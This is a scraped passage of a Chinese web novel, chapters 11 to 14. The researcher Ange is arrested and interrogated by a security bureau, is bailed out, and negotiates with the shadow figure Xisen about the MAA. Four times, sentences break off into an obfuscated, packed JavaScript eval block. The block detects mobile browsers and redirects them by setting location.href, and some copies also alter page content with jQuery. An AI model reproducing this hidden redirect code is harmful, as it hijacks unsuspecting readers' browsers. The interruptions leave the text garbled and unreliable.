安戈也从未听说过“抢夺”，但通过杜朗的三言两语解释，她立刻就明白，这种能力的面世，完全可以突破她原先的研究成果。 简单来说，目前的非凡能力改造技术如同一辆简易三轮，她通过各种零件的组装，制造出了能力改造的系统，而杜朗的“抢夺”能力，可以让她这辆三轮车直接变身成跑车，给这个领域的技术带来质的飞跃。 这种飞跃不仅仅是成本的降低、技术步骤的简化，而且意味着实战能力的大幅度增强。 试想一下，当一个没有能力的普通人遇到A级能力者，正当对方以为稳操胜券之时，将他的能力夺走，完成反杀，这得有多强？ 如果安戈可以复制这种能力，这会给世界带来多大的震撼…… 安戈身体微微颤抖着，她也分不清是因为紧张，还是因为激动。 不过眼下最重要的是，如果因特里赫德集团或MAA知道了，必然是要将他留在手里，好好进行实验。 就连她……也非常想现在就与杜朗见一面！ “我一直隐藏得很好，和MAA合作，只在集团边缘进行卧底，现在好不容易能隐退，可是MAA不知怎么就发现了我的能力。” 后面就不用再说了，安戈想，就算是她也抵挡不住这份诱惑，想将他“抢夺”的原理搞个清楚，应用于自己的研究。 “总之……如果你有机会，请务必救我出去，我愿意跟你合作！至少你是个有良心的研究员！我们的一起的话，说不定真的可以改变这一切！MAA，还有因特里赫德，通通都不要！” “你在哪？”安戈的心突突直跳，没有任何犹豫直接回道。 “我不知道，但应该是个海边城市，通风口经常传来海腥味。” “他们来了！” 安戈捏紧了光脑，指尖泛白。 MAA在认识到杜朗的价值后，出尔反尔，把他囚禁了起来；那如果她答应了MAA的请求，是否也会像杜朗一样遭遇背叛呢？ 她不敢想，也不想赌。 杜朗说的没错，掌握核心技术和材料，他们完全可以自己成就一番事业，和这些复杂肮脏的大组织划清界限。 难道这就是她所等待的机会？ 她又一次望向磨毛小窗外，仍然没有任何变 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“真的吗？”艾琳的眼睛顿时亮了，“那我们要好好庆祝了！” 然后艾琳和艾斯对视了一眼，笑了起来。 “笑什么？”安戈问。 “你看了就知道了。”艾琳神神秘秘地走进主卧，然后拿了一个礼品盒出来。一个白色纸箱，上面用红色的绸缎扎了一个蝴蝶结。 她郑重其事将东西递给安戈：“恭喜你获得新工作！还有……我们很感激你带回来的工资。” 安戈，从小到大很少体会到这种叫做手足无措的感觉，慌忙推拒道：“不不不，你们救了我，这是我应该做的。” 艾琳拉起安戈的手，强硬地把礼品盒推进她的怀里：“别废话了，快去试试。” 这是一条白贝母贝壳项链，扇形的贝壳轻轻一碰就能打开，里面还镶嵌着一刻小小的珍珠。虽然一看就知道是在百货店购入的商品，粗糙简单，但是安戈戴上后却感觉有种奇怪的情绪在翻涌。 从来没有人送过她这种东西。 她走出洗手间，站到了艾琳和艾斯面前。 “真不错！”艾琳鼓起掌来，又朝艾斯道，“你说是不是！” 艾斯有些别扭道：“嗯……还行吧。就是和她的气质不搭……或许手术刀之类的礼物更适合她……” 艾琳翻了个白眼，艾斯识相闭嘴。 “对了，你们还没吃饭吧？” 因为今天实在是太累了，艾斯和安戈回家后都在房间内休息，并没有用餐。 “还没呢。”安戈道。 “那我去把营养液拿出来。”艾斯主动说。 “不用了，今天我们去餐厅吃饭吧。”艾琳眨眨眼。 “啊？”艾斯惊讶得下巴都要掉了，“去……去餐厅？” 也难怪他露出这副表情。他们一家通常只能靠营养液填饱肚子，连新鲜的肉类果蔬都买不起，更别提去餐厅吃饭了。 “安戈拿了工资回来，救了你的好朋友林曜昕，现在还赢了海威尔……这么多好事！不值得庆祝一下吗！”艾琳的脸上满是喜悦，她挽起安戈的胳膊，又招手喊艾斯跟上，“走吧。” 12. 第12章 “干杯！” 简餐厅里，灯光柔和，三人坐在餐桌前，面对三份套餐举杯庆贺。 安戈面前的是迷迭香牛肉粒搭配通心卷，艾琳和艾斯则是分别点了一份奶油蘑菇面和番茄肉酱饭.这些再寻常不过的食物，安戈自从逃脱因特里赫德集团之后就再也没有吃到过。 她虽然不是沉溺口腹之欲的人，但在喝了几个月的营养液后，看到真正属于人类的食物后，肚子还是发出了咕咕的叫声。 “太好吃了！”艾斯挖了一勺肉酱和米饭，放入口中，脸上洋溢着幸福。 “慢点，别噎着。”艾琳的嘴巴被食物塞得鼓鼓囊囊，连说话声音都含糊了。 看着眼前两人吃得如此高兴，安戈微微一笑，用叉子叉了一粒牛肉，浓郁的肉香从喉间划过，无比满足。 此时月亮已然高悬，过了饭点，简餐厅里只有他们一桌人，店员们都懒懒散散地靠在柜台边上，或是不紧不慢地打扫着店面卫生。 气氛很是悠闲。 可就在这样美好的时刻，窗外却亮起了闪烁的红光，警铃声响彻整条大街。 “乌拉乌拉——” 安戈眯起眼，警惕地看向四周的玻璃窗。 一辆安保局警车停驻在了间餐厅门口。 “咣……” 叉子掉落在了地上。 “抱歉。”安戈擦了擦嘴，弯下腰，从地上捡叉子。 桌下光线很暗，一只黑色的大手将叉子递给她。 “要出事了。”安戈快速低声说道，“帮我。” 此时，餐厅内的所有工作人员都显得忧心忡忡，还有领班模样的人走到了店门口。 车上下来了两个人，一个人身着安保局制服，另一人身着教会服饰，和欧文身上的花样差不多。 鸣笛声戛然而止，可是氛围已经不复刚才的愉悦静谧。 “你们好，我是星光简餐店的经理……” 安保局的人抬起手，拿出了证件：“我们找人。” 安戈和艾琳艾斯都放下了餐具。 随即，那两个不速之客来到了三人的餐桌前。 一对银色的手镯在夜晚的灯光下格外扎眼，那人瞬时就将手镯扣在了安戈的手腕上。 “你被捕了。” “为什么？”艾琳立刻站起身，挡在安戈身前，“你是谁？凭什么抓人？” 他将证件展开，几乎要贴到艾琳的脸上：“我是安保局探员秦也，搜寻镇上的可疑人员。听说你们这有个来路不明的家伙，需要她跟我们走一趟。” “安戈才不是可疑人员，她是我们学校的校医！”艾斯争辩道，“学校的老师和学生都可以为她作证。” 气氛顿时剑拔弩张了起来，所有人的目光都聚焦在了安戈的脸上。 “只是例行的问询。”探员身后的教士开了口，好像是想安抚姐弟两个的情绪，“现在形势紧张，每个外来者都要经历审查。” “你又是谁？”安戈问道。 “我是教会的副主教，伊恩。”教士的声音沉静。 秦也紧接着说道：“安戈，麻烦你跟我们走一趟了。” 安戈冷哼一声，抬起手来：“有必要戴这个吗？” 伊恩的表情没有秦探员那么严肃，嘴角噙着温和的笑：“探员，可以先打开手铐吗？我看这位小姐不太像是桑格莉亚。” 安戈心下划过一丝诧异——难道这个教士见过自己吗？为什么这样说。 秦也眉头紧皱：“还是谨慎一些吧。就算不是桑格莉亚，万一是别的通缉人员呢？” 伊恩耸耸肩，对安戈摊开手，表示他也无能为力，好像他只是一个有礼貌的绅士。 “你们几个。”秦也指了一圈人，包括在场的工作人员和艾琳艾斯，“出示一下身份证明。” “我们也要吗？”经理诧异地指着自己的脸，“探员，我们就是土生土长的本镇人啊，你还来这里吃过饭呢。” “例行检查，配合一下。”伊恩笑着打圆场。 “真是麻烦……主教，你怎么也跟着一起啊……”经理嘟囔了一句，但仍旧配合地喊员工们去拿证件。 “最近不是到处排查吗？安保局的能力者不够，从教会抽选了能力者，组成小队出外勤了，我就和秦队长搭班啦。”伊恩解释着。 那边秦也一个个接过证件，确认无误后，让店员散开。 最后是艾琳、艾斯和安戈。 看着秦也的白色手套抚过一个又一个证件，安戈的心跳如擂鼓。 杜朗的话还回荡在耳边。 “如果你使用了身份卡，他们就能定位到你……我听说教会和安保局开始入户搜查了，到时候肯定会查询身份信息，你得想别的办法逃过去。” 可是如果她不使用，该怎么逃过这一关？ 他们来得太快，她都来不及想另外的应对手段，而此刻，唯一有可能帮她的就是席森。 希望他能做到。这样想着，安戈轻轻闭上眼。 秦也锐利的双眸扫过艾琳的光脑虚拟屏幕，突然顿住：“为什么你们会收留她在家？你们家一直是姐弟两口人一起居住。” 艾斯抢先答道：“安戈是我们的远房亲戚。” 这是他们这段时间的一贯说辞。 “哦？”秦也怀疑的视线在姐弟两人身上扫视，“来自哪里的远房亲戚？” 艾斯也答不出来，涨红了脸：“总之，就是失散多年的亲戚找回来了。” 秦也嗤笑一声，朝他伸手：“你的，拿来。” 艾斯咬着牙，递上了自己的光脑。 最后，秦也看向安戈：“你的。” 伊恩也报臂，好整以暇地看着她。 “如果没有，就不要浪费时间了哦，跟我们回去老实交代。”伊恩看似好心地“提醒”了一句。 艾琳和艾斯都紧张地捏紧了手。 安戈看见，现场所有人都打量着她，带着或好奇，或紧张，或害怕的神色。秦也的表情一丝不苟，仿佛是个把规则写入骨子里的机器人，而伊恩的眼里则是戏谑。 缓缓地，她举起自己被铐住的手，露出上衣身侧的口袋：“在我口袋里。” 秦也走上前一步，从安戈的口袋中拿出光脑，虚拟屏幕投射在半空中。 安戈紧张地盯着蓝色的屏幕：“左上角。” 秦也轻点两下，一张电子身份卡出现在几人面前。 “ID：5566183，姓名：安戈，户籍：帕萨里内市……” “这么远？”秦也挑了下眉，“你怎么过来的。” 还没等安戈回答，艾琳就开口了。 “够了。”她不满道，“安戈不是黑户，有身份证件，这还不够吗？” “哎呀，你先别急……” 伊恩想要打圆场，可是秦也相当坚持：“不够。我们得回去在系统里查找这个人，并且弄清楚她来这里的原因。” 说罢他拉住安戈就要走。 艾琳和艾斯都赶着上前。 “你们还是先去准备一下吧。如果审查没问题，并且……”秦也的脚步一顿，回头道，“有三个本镇的成年人愿意为她做担保，或是交上一笔保释金，你们就能将她带回去了。” “保……保释金？多少钱？”艾斯面色一沉。 “一千比约币。”伊恩道，“也不多，大概是非凡学校三个月补 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15190392|165578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 助的钱。” 艾斯顿时要晕过去。 “不用管我。”安戈回头道。 艾琳咬牙：“怎么能不管你！” 可是，他们终究是敌不过秦也和伊恩，只能看着他们领着安戈走出简餐厅，上了警车。 艾琳有些无力地坐在餐桌前，看着还没吃完的饭菜，恶狠狠嚼了一口：“我要救安戈出来。” “怎么救？”艾斯的魂像是丢了一般，“我们拿不出一千比约币，而找三个成年人为她担保……担保了，要是安戈真有什么事，那也是要罚款的。” “姐姐。”艾斯犹豫了半天，才拉了拉艾琳的衣袖，“也许我们还是，不要趟这趟浑水为好……我们的确不知道安戈是从哪里来的，以前有没有问题，我怕……姐姐你被拖累。” “可是……”艾琳的表情有些难过，“我觉得她真的挺好，虽然看着冷冷淡淡的，也是真心对我们，还有学校的。” “况且，安戈把第一个月的工资全都塞给了我，一共七百，如果我们东拼西凑，再借一点就够了……如果她长期留在我们家，两个月也就赚回来了。” “可是我们该找谁借呢？”艾斯迷茫道。 另一边，安戈刚到安保局，就被搜身，他们没收了自己的通讯物品。 那条贝壳项链倒是因为小巧无害，又明显出自镇上精品店，得以留在她身上。 “哦？这项链挺漂亮。”搜身的女探员夸赞了一声，“带她进审讯室吧。” 走在这条狭窄的走道上，安戈身后跟着三个人，女探员、秦也和伊恩。 不一会儿伊恩就说道：“我今天就先回去了。” “好的。审讯的事交给安保局就行了。”这是秦也在说话。 走道的白色墙壁上，白炽灯映照着他们四个的影子，伊恩的影子逐渐远去。 安戈的影子跟随着她，可仔细看去就会发现，这个影子的步伐和安戈稍显不同。 三个影子停驻在一扇银灰色大门前，审讯室内一片漆黑，正是魔鬼可以自如行动的绝佳地点。 安戈坐在了审讯椅上，黑暗将她笼罩。 而这片暗色中仿佛有什么在低语，安戈对面两位探员却毫无察觉。 “好好用起来。” 安戈听到席森这样说，然后自己的小臂一沉，有什么被放入了自己外套袖口内侧，但没有接触她的皮肤。 “安戈……你在哪里出生？和艾琳、艾斯是什么关系？” 安戈没有说话，但在心里酝酿着情绪。 等了一会儿，秦也的表情很不悦：“问你话呢！” 安戈的面色骤然一变，嘴角颤抖着下撇，嚎啕大哭了起来：“呜……” “你哭什么？”秦也也愣住了，“我又没骂你。” 女探员见状，抽了些纸巾递过去：“别哭嘛……” 安戈一边抽噎一边用纸巾擦脸。 审讯的两个人相互看了一眼。 女探员凑到秦也耳边，用手挡住嘴型，低声说：“这怎么看也不像桑格莉亚啊……人还是个刚成年的小姑娘，能坚持到现在才哭已经不错了，你对她温柔一点。” 秦也翻阅了几下手中的纸质资料，回应道：“我知道了。” 秦也轻咳两声，试图让自己的声音变得柔和一些，结果更加僵硬了：“我问你，你为什么要来这里……” “我、我家里人都已经没了，原来也不知道还有这两个亲戚的，正巧碰上了认识他们的人，所以才来找他们的……” 秦也看了看手里的资料，对女探员投去一个眼神。 女探员点头：“那人是？” “林木森。是林曜昕的哥哥。” 13. 第13章 “那人是？” “林木森。是林曜昕的哥哥。” “咚咚——” “进。”秦也大声说道。 门被推开了一条小缝，一位年轻探员凑了进来：“玲玲，有人来保释了。” “这么快？”玲玲抬头，“让他们在会客室等一下。” 安戈的眼泪还挂在脸上：“还要审多久，这里好黑，我害怕。” 秦也用笔敲了敲台面：“你毕业于哪个学校？是做什么工作的？” …… 年轻探员关上门，慢悠悠走回接待大厅。 “你们稍等一下，审完后才能进行保释。你们是交钱还是作担保？” 艾琳有些犹豫：“我弟弟能作担保吗？” 探员皱眉：“他还没有成年。” “就差七个月！”艾斯道。 “那也不行。”探员没有犹豫，“她不是学校医生吗？让她的雇主预支一下薪水不就行了。” “我给孟校长打过电话了。学校刚向教会交了一笔钱，又要凑资金参加下个月的伊比利奈岛的非凡竞赛，实在预支不开了。但是孟校长愿意过来作担保……”艾琳叹气道，她蓝色的眼睛里满是恳求，“只是还要再找一个成年人。” 此时，伊恩已经穿好便装，戴好帽子，夹着自己的黑色公文包，步履匆匆地走到门口。刚好看到三人在门口交谈，说着向教会交钱的话。 伊恩挑了挑眉，搭话道：“太阳镇中学一年比一年困难了。” “主教，晚上好。” “辛苦了，你们还得等这个审完才能下班。”伊恩冲年轻探员打了声招呼。 “主教，您不看审讯过程吗？”探员好奇问道，“您几乎每场审讯都看完的。” “这个不用。”伊恩微笑看向艾琳等人，“还差一位担保吗？找我也可以哦。” 现场几个人齐齐愣住，看向伊恩。 毕竟伊恩几次三番的举动都显示出他对安戈的信任，十分奇怪。 伊恩也观察着姐弟俩的反应，发现他们似乎真的什么都不知道，也渐渐收敛了笑容。 “您的意思是？”艾琳缓慢开口询问。 伊恩还没来得及说话，就在这时，安保局的透明门打开，从黑夜中又走出了两个人。 “呼——我又带来了一个人，你们看是谁！”孟校长的脸上满是高兴。 他的身边站着一个穿着黑色卫衣，身高约有一米九的男人。 伊恩的瞳孔震颤，像是看到了什么可怕的东西，动弹不得。 而艾琳和艾斯却毫无反应，甚至有些疑惑。 “林木森啊，林曜昕的哥哥！”孟校长激动道，“他今天正好有事回家，听说后也愿意来作担保！” “啊，原来是曜昕的哥哥。好久不见，都认不出来了。”艾琳恍然大悟，“这么巧，这下我们人就全了。” “那太棒了，你们先去会客室稍等片刻。”年轻探员示意大家可以往里走了。 几人转身便走，而原本要离开的伊恩，却也跟了上去。 “主教，您不是要先走吗？”探员问道。 伊恩的手微微颤抖，他摘下了绅士帽，一把揉紧，眼帘垂下，像是在控制着什么。 “我改主意了。” 几乎没人在意到伊恩的异常，因为他们正沉浸在凑齐人数的喜悦当中。 众人跟着探员继续前进着，只是在伊恩拐入某个房间时，席森向他的背影瞥了一眼。 离开人群后，伊恩步履匆匆，拐入了审讯室后方，建造着单边玻璃的观察间。 观察间中已经有一名工作人员，坐在长桌前，看着监控和玻璃后的三人。 门被推开，工作人员起立致意：“主教。” 伊恩的脸阴沉一片，他将公文包放在椅子上，然后坐下，靠着椅背，嘴唇冷酷地抿着，和他一贯的随和淡定截然相反。 工作人员不知发生了什么，有些茫然地看着他，又看了看单向镜。 玻璃后的女孩，显得有些无助和脆弱，但是回答却没有破绽。 监控器后传出她的声音。 “林木森到帕萨里内市出差，他是来做市场调查的，我们恰巧居住在一片区域，经常碰到就认识了。有次他给我看他弟弟林曜昕的照片，旁边正好是艾斯。艾斯和他爸爸长得一摸一样，我在家族的老照片里曾经见到过，所以我就知道他们是我家的远房亲戚。” “那你为什么会去太阳镇中学当校医？” “我在帕萨里内经受过一些医疗培训……这应该在我的学历信息系统中有所记录，也在小诊所打过工，艾斯又说他们缺一个校医，所以就想去试试。” “你没有非凡能力，却能进入非凡学校？” 秦也怀疑的目光上下打量着。 安戈求助地看向玲玲：“孟校长招不到人了。” “咳……是有这么回事。”玲玲提醒秦也，“这个位置长期空缺。” “好吧。”秦也又看向玲玲，“你还有什么要问的吗？” 女探员双手一摊，表示自己不想问了。 秦也整理了下手头上的纸质资料：“你的回答和身份系统上的资料一致，我们对你没什么疑问了，你在这里等待保释就行了。” 观察间内。 “她的身份没有问题？”伊恩又重复了一遍秦也的话，问身旁的工作人员。 他的重音重复在“没有”二字上，仿佛在表达自己的质疑。 那人愣了一下，随即扫了一眼自己的记录，点头确认道：“是的，身份系统里能查到她从小到大的记录，普通公民，不是非凡者，出生于帕萨里内，学校、工作地点……都对应的上。” 伊恩拿过纸张和记录本，表情严肃。 “您有什么问题吗？”那人小心翼翼开口，“要是您有问题的话，我去跟秦探员说一声……毕竟，您是教会派来的重要人员，也是今晚安保局里唯一的非凡能力者，如果您的能力发现了不妥之处，我们肯定要再审……” 伊恩轻轻闭上双眼，像是在思考什么：“你不觉得，她的眼神，似乎能看穿什么吗。” 单向镜后的女生，恢复了一些平静，似乎不经意地在望向监控器，以及镜子的后方。 从她的视角，应该是看不到这间屋子的。 “哈哈，您在说笑吧。”那人不以为意，“只是巧合罢了，我们有很多嫌疑人都会因为好奇，望向这边，这很常见……但他们是看不到的观察间的。” 伊恩冷哼一声。 “况且，能看穿一切的眼神，应该是主教您吧。”年轻的小探员露出羡慕，“您的能力是‘真视之眼’，能够看明白一切非凡能力，那可是侦察的利器。” 伊恩的非凡能力，虽然在战斗中用处不大，但非常适合当侦察兵，无论是扮作普通人的能力者，还是隐藏实力的强者，或是虚张声势的伪装者，都无处遁形。 “只是人人都说，桑格莉亚是个普通人。”伊恩回道，“唔……小楠，这个信息会不会有误。” 伊恩的眼睛没有片刻离开安戈。 从他的视角看，这个女孩身上浮现着几个大字：透视之眼。 然而在餐厅中，她的非凡能力还不是这个。伊恩当时清清楚楚的看到，她拥有着追踪的能力——只要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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席森要是真的找到了桑格莉亚，又怎么会不带回集团，反而放在太阳镇？ 伊恩感觉自己的血液在身体里奔腾，他好像离真相很近，又好像很远。 总之，他绝对不会让这些人再逃脱。他要亲手终结这场伤害了无数人的科学实验，了结掉桑格莉亚和席森这些恶魔。 “我知道了。”伊恩压下心中蕴藏着各种复杂的情绪，“那么……我对这个女孩没有疑问，放了她吧。” 说罢，伊恩就迅速起身，木制高背椅发出刺耳的和地板的摩擦声。 他就头也不回地离开了观察室。 只留下年轻探员小楠，莫名其妙地摸了摸自己的后脑勺。 另一边，安戈平静地目送秦也和琳琳离开审讯室，感受透视的效果逐渐从身上抽离。 方才简餐厅中，她趁乱拜托席森，内心忐忑。 而席森竟然在短短十几分钟内为她编造了一份的人生经历，交到了秦也等人的手上；又趁着路途上的时间，拿到了她逃出集团时带上的，透视之眼“半改造系统”，偷偷放入她的袖口。 这个系统由她本人开发，可以短暂改变非凡能力，时限约为半小时。 她在审讯中，一边装作害怕，一边通过透视，阅读探员手上的材料，这才基本将这件事情糊弄过去。 至于单向玻璃后的人，她也能看得清清楚楚。她听不见里面人的交谈内容，却也知道那位叫做伊恩的主教似乎不太高兴。 不过，这都和她无关。 她在想，杜朗的“抢夺”能给这个系统带来多少改变，以及……MAA是否真如杜朗所说的那样，会派人找上她。 14. 第14章 安戈的保释非常顺利，三个人签字画押，同时这也意味着，如果安戈在本镇违法乱纪，他们三人同样面临着罚款的风险。 看着艾琳和孟校长激动的表情，安戈觉得自己心头更加沉甸甸的。 如果她离开这个小镇，得给他们留笔钱。安戈这样想着，她不喜欢欠别人人情。 如果实在无法，或许她可以找个地方把自己带来的“改造系统”卖掉一些……比如寻找附近的黑市，只是别人会怀疑这些东西的来历，可能会增加暴露身份的风险。 “还有件事情要和你商量。” 几人走回去的路上，孟校长郑重其事地对安戈说道。 “您说。” “海威尔走后，我们射击课老师的职位空了出来，这门课暂时没有教师可以上，下半月伊比利奈岛上有个非凡能力竞赛，也缺一个射击指导教师……” “您是说！让安戈来担任射击教师！这太好了！”艾琳眼睛瞬间亮了，惊喜地看着艾斯和安戈。 “不知道安医生愿不愿意暂时兼任？” …… 安戈很犹豫。 她不想和小镇上的人关系越缠越深，可是眼前的这些人，在对她了解不深的情况下还愿意将她担保出来，看着孟校长殷切的目光，她说不出拒绝的话。 像是看出了安戈的犹豫，孟校长又继续说：“这个竞赛非常重要，如果能拿到名次，或许我们学校就能在末位淘汰时加点分。” 安戈深深叹了口气，她也不清楚，是无奈自己要更加卷入太阳镇中学的生活，还是…… 良久，在众人期待的眼神中，安戈才说：“好吧，不过……” 还没等安戈说完，艾斯就已经欢呼了起来，和孟校长击了个掌，“我就说吧，她肯定会同意的。” 安戈赶紧接着说：“如果招到新老师，我就不干了。” “放心吧。”孟校长眼神恳切，“我们招不到的。” 他好似对这一点十分笃定。 席森一直在旁边，也不说话，直到几人走到交叉路口才出声道：“我往这边走。” 几人打了招呼告别。 看见他背影逐渐消失，艾琳感叹：“真是难得，这么多年，几乎都没见过几次曜昕哥哥，今天却碰上了。” “上一次见到他还是我们刚入学的时候。”艾斯回忆道。 安戈本来想借此机会再打听些什么，比如林曜昕和席森的关系，或者席森的其它信息，可立马就察觉到，席森又回来了，藏在她的影子里。 他真的是阴魂不散。 这个夜晚很长，几人到家时已是凌晨三点半，艾琳和艾斯几乎倒头就睡，原本安戈也打算先休息，谁知她刚坐到高低床的下铺边缘，就看到自己地上的影子瞬间延伸拉长，变成一个立体的人。 安戈在心中叹了一口气，向后一仰，斜斜地倚靠在床头，她今天实在过于疲累，并不想应付眼前这个难缠的家伙。 席森站在狭窄房间的正中间，看了安戈许久。 就在安戈实在忍受不了他的目光时，他终于说话了：“你说要找我，什么事？” ——原来他在等这个！ 那会儿安戈正想逃跑，被他捉住后就随口胡编说是要去找他。 安戈坐起，大脑有些空白，半晌才转而问道：“为什么答应帮我？” “总不能看你真的被抓回去。”席森理所当然，“我是想要招揽你，并不想把你交给集团。” “不管怎么说，这次我要谢谢你。这么短的时间内，又要帮我补全资料，又要拿来‘半改造系统’，只有你能办到。”安戈语气诚恳，眼神真挚，她的确感谢席森此次的帮助。 其实安戈和席森以前在集团内也合作过几次，默契度还算不错，因此今晚才能凭借混乱中的简短交流，就能配合完美。 席森的眼眸深邃，骤然又露出了他熟悉的笑容，森白的牙齿反着光：“还是头一回听到你的感谢，我很受用。” “不过我很好奇，这个身份ID是你帮忙弄来的吗？”安戈略微偏头问道，“当时我让杜朗想办法给我弄一个在库身份ID，然而一直没有使用的必要，就没有补全空白信息，你能这么快地找到端口修改资料，看来对此很熟悉。” 席森脸上的任何一个表情变化都逃不开安戈的眼睛。 他爽快道：“当然，只不过杜朗并不知道接应他的内线就是我，我们一直在线上交流。” 杜朗并不知道席森来自MAA——这是一个有效信息，也符合安戈的猜测。 因为以席森的身份和性格，他不会轻易将自己的身份暴露给别人。 这么一说，当初他们能离开集团，估计也是因为席森，他趁自己顶替莫离的时候，给了他们逃跑机会。 安戈继续问道：“那杜朗现在去哪了？” “你不知道吗？”席森反问。 “我联系不上他，猜测是出了意外。” “嗯哼。” “你知道是谁干的吗？” 昨天在席森家中，安戈问他，是不是他杀死了杜朗，席森否认了，所以安戈换了个问法。 “他被集团找到了。我去的时候，人和住所都一起被烧成了灰烬——就是我找上你的那天。为了先去确认杜朗的情况，我才让林曜昕拖住你……那天，可真是忙，幸好你们离得不算太远。”席森笑了笑，像是感慨于自己奔波于两地。 “集团？”惊讶于席森给出的答案，安戈的手倏尔捏皱身下的床单，脱口而出，“他们是怎么找到杜朗的？” 一个画面瞬间划过安戈的脑海——她那天抽过一管杜朗的血液，顺手放在自己实验室的分析仪器上……她因为准备着逃跑的事宜，没有去看结果，也忘记销毁样本了! 安戈的脸色瞬间惨白。 杜朗拥有极为罕见的非凡能力，而且对于开发研究的意义重大，集团现在必然已经知道了这一点。 安戈此刻不知道是什么心情，但她想要弄清真相的愿望到达了顶峰——她不能让自己落后于新的研究，落后于这场技术革新，就像汽车取代畜力，非凡力量取代传统能源……她的研究有可能被杜朗的出现而取代，她绝不能允许这样的事情发生。 走在技术前沿，她才有可能向因特里赫德集团复仇。 越是焦急，安戈却越是冷静了。 按杜朗的说法，他是被MAA背叛，囚禁他进行人体实验，而席森却告诉她，杜朗已经被集团杀死。他们两个的说法完全相反，一个希望她加入MAA，一个想让她不要相信MAA，救自己出去。 此刻不如静观其变，同时收集席森和杜朗的信息，总能发现破绽。 “我也不清楚，似乎这件事是‘司令’派人做的，甚至我在集团内都没听到风声，还是神秘事物管理局传来的消息。”席森道。 “他？” 席森的回答让安戈吃了一惊。 因特里赫德集团的背后大老板，在外界被人称为“幽灵司令”，但集团内大部分人还是习惯称呼他为老板。 他极少出现，几乎没什么人见过他的模样，除非遇到真正的大事，从来不露面。 他此时现身，果然是因为杜朗吗？ “还有什么想问的，一并问了吧。”席森往床边的靠椅上一坐，似乎很是放松，“反正这么晚了，再过一个小时，月亮都快下山了。” 今天又是一个满月。 房间的窗帘拉着，但是这块布料粗糙简陋，隐隐能看见泛着橘色光芒的圆月，安戈仅仅开了一盏床头的小台灯，昏黄的灯光照亮了彼此的脸。 他们从没有这样安静谈话的时刻，彼此之间往往是剑拔弩张的。 “我很好奇，MAA现在是怎么想的，竟然只派你一人在看守我，而不把我放入他们掌控的区域。” 安戈还想知道，MAA是否知道自己的位置，席森有没有向上汇报。 即便是在暖色调的光下，席森的面容依旧显得冷峻：“不需要告诉他们。难道你还能从我手上逃脱吗？” 席森的话狷狂自大，好像对此不屑一顾。 “你倒是很有自信。”这样说着，安戈却是不相信 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15190394|165578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，“不过这次我的账号信息暴露了，他们恐怕很快就会知道吧。” “不会，你的事情只有我一人经手，其他人都不知道。”席森十分笃定，继而他又像是想到了什么一般，狭长的双眼锁定住安戈的面容，“不过……你竟然对细枝末节的事情这么关注。” “逃亡在外，当然事事小心。”安戈自知席森起了疑心，但她向来有着良好演技，无畏地对上席森的眼神，毫不躲避。 看见安戈坦然的样子，席森和她对视了几秒才道：“算了，我会知道你的秘密的。” 他似乎并没有完全相信安戈。 “那么现在该你回答我的问题了，满月小姐。”席森再次将话题拉回，好整以暇，“说说看吧，找我做什么。” 安戈思考片刻，又想到了这几天自己收集的资料，直截了当道：“席森，我在网络上搜索了MAA，资料显示他们原本是调查某些神秘事件的官方组织，但是突然在十多年前销声匿迹，后来就鲜少活动，很多成员也都离开了。这样一个组织，你凭什么认为能和因特里赫德集团抗衡？。” 席森嗤笑出声：“满月小姐，你愿意去了解MAA，这很好，不枉我这两天的贴身保护。” 安戈必须承认，她这话十分刺耳，因为她更愿意称之为“监视”，但也只能努力忍下反驳的冲动。 “因为我们目标坚定，这和你的也不谋而合。MAA脱离当局掌控，成为民间组织，就是为了摧毁因特里赫德集团，我们做的每一件事情，都是为了这个目的。” “哦？这种组织往往牵扯多方利益，想要团结一心并不容易，是什么让你们目标坚定？”安戈又问。 “这就说来话长了。旧的MAA因为集团的阴谋解散，新的MAA为了打败他而重新汇集。” 安戈心想，看起来或许是有很多恩怨的样子。 “如你所说，给我一个月的时间决定，如果到时我决定不加入，你又会怎么办。”安戈冷静问着，语气平静，好像在问一件最寻常不过的事情，但她知道这个问题非常危险，如同在钢丝绳上行走。 “如果不加入，你打算做什么？”席森反问。 “我现在的生活就很好。或者换一个地方，总之远离这些复杂的事情。我不想再陷入麻烦，也不想再有人因为我而死亡。” 安戈所说，也的确是她心中所想，她不愿意和这些组织扯上关系，宁愿自己独自生活，独自研究，独自复仇。 “哈哈！”为了不吵醒姐弟俩，席森压抑着笑了出来，可是声音却不可抑制地从唇角溢出，“你再想想吧，不想再陷入麻烦？看看你做的事情，哪一件是息事宁人的？你太高估自己了。” 